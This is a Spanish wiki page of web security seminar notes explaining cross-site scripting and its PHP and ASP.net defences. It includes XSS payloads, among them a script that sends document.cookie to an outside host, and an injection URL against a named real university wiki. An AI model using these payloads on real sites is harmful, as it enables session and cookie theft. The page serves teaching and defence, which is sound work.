WikiJuanan : SeminarioSeguridadWeb

Seguridad InformáticaSeguridad Web

Lo más importante en seguridad web es validarlo todo y dejar siempre la seguridad en el lado del servidor y nunca del cliente.

Hay que validar la entrada desde formularios, lo que viene en la url, etc

Cross Site Scripting (XSS)

Técnicas que permiten obtener información que otra web ha dejado en minavegador, por ejemplo: cookies.
Esto se consigue inyectando código en la aplicación web del otro dominio: html, css, javascript.
Para inyectar código envíamos en el formulario o en la url el código que queramos inyectar, siempre que luego este código se muestre y por tanto se ejecute en la página de la víctima.

Insertando código javascript
<script language='javascript'>location.href='http://www.us.es';</script>

Insertando css
<div style="position:absolute;top:0px;left:0px;z-order=5000;background-color:red;color:white;width:100%;height:100%;">XSS</div>

Leyendo cookies
<script language='javascript'>location.href='http://10.1.25.52/~palako/forpas/cookie.php?c=' + document.cookie;</script>

Para evitar todo esto
1. Usamos htmlentities
2. En ASP.net también podemos usar la bandera httpOnly en la cookie

En PHP
Para evitar este tipo de vulnerabilidad en una página desarrollada en PHP uno de los métodos que pueden ser utilizados es mediante la función htmlentities() que nos convertirá los caracteres especiales a entidades HTML
<?php
$nuevo = htmlspecialchars("<a>'test'</a>", ENT_QUOTES);
echo $nuevo;
?>
Mostrando:
<a>'test'</a>


Atención a la opción TRACE

Caso real icasus

http://wiki.us.es/icasus11/index.php?aviso=%3Cscript%3Ealert(document.cookie);%3C/script%3E

Enlaces

http://www.boinasnegras.com/ – Retos hacker.
http://www.noletia.com/forpas.htm